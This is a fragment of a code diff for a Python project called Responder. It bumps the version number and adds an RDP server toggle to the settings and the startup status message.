|
||||
else:
|
||||
return False
|
||||
except:
|
||||
pass
|
||||
|
|
@ -20,7 +20,7 @@ import subprocess
|
|||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 2.3.3.9'
|
||||
__version__ = 'Responder 2.3.4.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
|
|
@ -88,6 +88,7 @@ class Settings:
|
|||
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
|
||||
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
||||
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
||||
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
||||
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
||||
|
||||
# Db File
|
||||
|
|
|
|||
1
utils.py
1
utils.py
|
|
@ -328,6 +328,7 @@ def StartupMessage():
|
|||
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
|
||||
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
|
||||
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
|
||||
print ' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "HTTP Options:"
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue